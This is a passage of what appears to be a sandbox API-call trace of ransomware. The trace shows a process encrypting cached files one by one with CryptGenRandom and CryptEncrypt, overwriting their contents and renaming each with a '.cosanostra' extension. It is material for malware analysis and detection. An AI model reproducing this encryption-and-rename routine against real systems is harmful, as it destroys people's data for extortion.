halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\0f1583fff42fff476a09801acb69213f_e3f4a8c96454d7d3441d2c1bce81f875"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\0f1583fff42fff476a09801acb69213f_e3f4a8c96454d7d3441d2c1bce81f875.cosanostra")) returned 1 [0102.353] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff268 | out: pbBuffer=0x26ff268) returned 1 [0102.353] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff260*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff260*=0x30) returned 1 [0102.353] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\024823b39fbeaccdb5c06426a8168e99_6d5cab161a1c65362a913d29be09d91b"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.354] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned 152 [0102.354] StrStrW (lpFirst="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpSrch=".txt") returned 0x0 [0102.354] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffe70, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.355] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x190, lpNumberOfBytesWritten=0x26ff224, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff224*=0x190, lpOverlapped=0x0) returned 1 [0102.355] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.355] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff264*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff224, lpOverlapped=0x0 | out: lpBuffer=0x26ff264*, lpNumberOfBytesWritten=0x26ff224*=0x4, lpOverlapped=0x0) returned 1 [0102.355] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff224, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff224*=0x30, lpOverlapped=0x0) returned 1 [0102.355] CloseHandle (hObject=0x15c) returned 1 [0102.355] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B.cosanostra") returned 163 [0102.355] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\024823b39fbeaccdb5c06426a8168e99_6d5cab161a1c65362a913d29be09d91b"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\024823b39fbeaccdb5c06426a8168e99_6d5cab161a1c65362a913d29be09d91b.cosanostra")) returned 1 [0102.356] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff260 | out: pbBuffer=0x26ff260) returned 1 [0102.356] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff258*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff258*=0x30) returned 1 [0102.356] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0102.356] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff260 | out: pbBuffer=0x26ff260) returned 1 [0102.356] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff258*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff258*=0x30) returned 1 [0102.356] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0102.357] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff258 | out: pbBuffer=0x26ff258) returned 1 [0102.357] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff250*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff250*=0x30) returned 1 [0102.357] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F90F18257CBB4D84216AC1E1F3BB2C76" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\f90f18257cbb4d84216ac1e1f3bb2c76"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.362] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F90F18257CBB4D84216AC1E1F3BB2C76") returned 118 [0102.362] StrStrW (lpFirst="F90F18257CBB4D84216AC1E1F3BB2C76", lpSrch=".txt") returned 0x0 [0102.363] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffdda, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.363] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x226, lpNumberOfBytesWritten=0x26ff214, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff214*=0x226, lpOverlapped=0x0) returned 1 [0102.363] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.363] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff254*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff214, lpOverlapped=0x0 | out: lpBuffer=0x26ff254*, lpNumberOfBytesWritten=0x26ff214*=0x4, lpOverlapped=0x0) returned 1 [0102.363] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff214, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff214*=0x30, lpOverlapped=0x0) returned 1 [0102.364] CloseHandle (hObject=0x15c) returned 1 [0102.364] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F90F18257CBB4D84216AC1E1F3BB2C76.cosanostra") returned 129 [0102.364] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F90F18257CBB4D84216AC1E1F3BB2C76" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\f90f18257cbb4d84216ac1e1f3bb2c76"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F90F18257CBB4D84216AC1E1F3BB2C76.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\f90f18257cbb4d84216ac1e1f3bb2c76.cosanostra")) returned 1 [0102.365] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff250 | out: pbBuffer=0x26ff250) returned 1 [0102.365] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff248*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff248*=0x30) returned 1 [0102.365] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\f293aead5e84facfb686c4a620718928_c8424a0b24a72939b13720d0c000c9c1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.365] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned 151 [0102.365] StrStrW (lpFirst="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", lpSrch=".txt") returned 0x0 [0102.412] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffff9b4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.412] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x64c, lpNumberOfBytesWritten=0x26ff20c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff20c*=0x64c, lpOverlapped=0x0) returned 1 [0102.413] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.413] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff24c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff20c, lpOverlapped=0x0 | out: lpBuffer=0x26ff24c*, lpNumberOfBytesWritten=0x26ff20c*=0x4, lpOverlapped=0x0) returned 1 [0102.413] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff20c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff20c*=0x30, lpOverlapped=0x0) returned 1 [0102.413] CloseHandle (hObject=0x15c) returned 1 [0102.413] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1.cosanostra") returned 162 [0102.413] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\f293aead5e84facfb686c4a620718928_c8424a0b24a72939b13720d0c000c9c1"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\f293aead5e84facfb686c4a620718928_c8424a0b24a72939b13720d0c000c9c1.cosanostra")) returned 1 [0102.414] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff250 | out: pbBuffer=0x26ff250) returned 1 [0102.414] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff248*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff248*=0x30) returned 1 [0102.414] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\d52c56d8f24bec96604372afbaf264e1_e76a2b627dd019eb51d9335f24b14c2c"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.415] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned 151 [0102.415] StrStrW (lpFirst="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", lpSrch=".txt") returned 0x0 [0102.417] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffff99d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.417] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x663, lpNumberOfBytesWritten=0x26ff20c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff20c*=0x663, lpOverlapped=0x0) returned 1 [0102.417] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.417] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff24c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff20c, lpOverlapped=0x0 | out: lpBuffer=0x26ff24c*, lpNumberOfBytesWritten=0x26ff20c*=0x4, lpOverlapped=0x0) returned 1 [0102.417] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff20c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff20c*=0x30, lpOverlapped=0x0) returned 1 [0102.418] CloseHandle (hObject=0x15c) returned 1 [0102.418] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C.cosanostra") returned 162 [0102.418] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\d52c56d8f24bec96604372afbaf264e1_e76a2b627dd019eb51d9335f24b14c2c"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\d52c56d8f24bec96604372afbaf264e1_e76a2b627dd019eb51d9335f24b14c2c.cosanostra")) returned 1 [0102.419] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff248 | out: pbBuffer=0x26ff248) returned 1 [0102.419] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff240*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff240*=0x30) returned 1 [0102.419] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\d47dbd2f9e3365fbbe008d71fb06716f_d33192d58aa9ca2b9097e848e9fe86de"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.420] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned 151 [0102.420] StrStrW (lpFirst="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", lpSrch=".txt") returned 0x0 [0102.436] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffa52, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.436] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x5ae, lpNumberOfBytesWritten=0x26ff204, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff204*=0x5ae, lpOverlapped=0x0) returned 1 [0102.437] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.437] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff244*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff204, lpOverlapped=0x0 | out: lpBuffer=0x26ff244*, lpNumberOfBytesWritten=0x26ff204*=0x4, lpOverlapped=0x0) returned 1 [0102.437] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff204, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff204*=0x30, lpOverlapped=0x0) returned 1 [0102.437] CloseHandle (hObject=0x15c) returned 1 [0102.437] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE.cosanostra") returned 162 [0102.437] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\d47dbd2f9e3365fbbe008d71fb06716f_d33192d58aa9ca2b9097e848e9fe86de"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\d47dbd2f9e3365fbbe008d71fb06716f_d33192d58aa9ca2b9097e848e9fe86de.cosanostra")) returned 1 [0102.438] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff248 | out: pbBuffer=0x26ff248) returned 1 [0102.438] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff240*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff240*=0x30) returned 1 [0102.438] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\c46e7b0f942663a1edc8d9d6d7869173_6043fc604a395e1485af7ac16d16b7ce"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.439] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned 151 [0102.439] StrStrW (lpFirst="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", lpSrch=".txt") returned 0x0 [0102.445] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffff91d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.445] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x6e3, lpNumberOfBytesWritten=0x26ff204, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff204*=0x6e3, lpOverlapped=0x0) returned 1 [0102.445] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.445] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff244*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff204, lpOverlapped=0x0 | out: lpBuffer=0x26ff244*, lpNumberOfBytesWritten=0x26ff204*=0x4, lpOverlapped=0x0) returned 1 [0102.445] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff204, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff204*=0x30, lpOverlapped=0x0) returned 1 [0102.445] CloseHandle (hObject=0x15c) returned 1 [0102.446] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE.cosanostra") returned 162 [0102.446] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\c46e7b0f942663a1edc8d9d6d7869173_6043fc604a395e1485af7ac16d16b7ce"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\c46e7b0f942663a1edc8d9d6d7869173_6043fc604a395e1485af7ac16d16b7ce.cosanostra")) returned 1 [0102.447] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff240 | out: pbBuffer=0x26ff240) returned 1 [0102.447] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff238*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff238*=0x30) returned 1 [0102.447] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\bc570ec0de58335afaf92fdc8e3aa330_f4d449ca9e0eaccfe15946f8fcd349fc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0102.448] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned 151 [0102.448] StrStrW (lpFirst="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", lpSrch=".txt") returned 0x0 [0102.453] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffffa13, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0102.453] WriteFile (in: hFile=0x15c, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x5ed, lpNumberOfBytesWritten=0x26ff1fc, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff1fc*=0x5ed, lpOverlapped=0x0) returned 1 [0102.453] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.453] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff23c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff1fc, lpOverlapped=0x0 | out: lpBuffer=0x26ff23c*, lpNumberOfBytesWritten=0x26ff1fc*=0x4, lpOverlapped=0x0) returned 1 [0102.453] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, 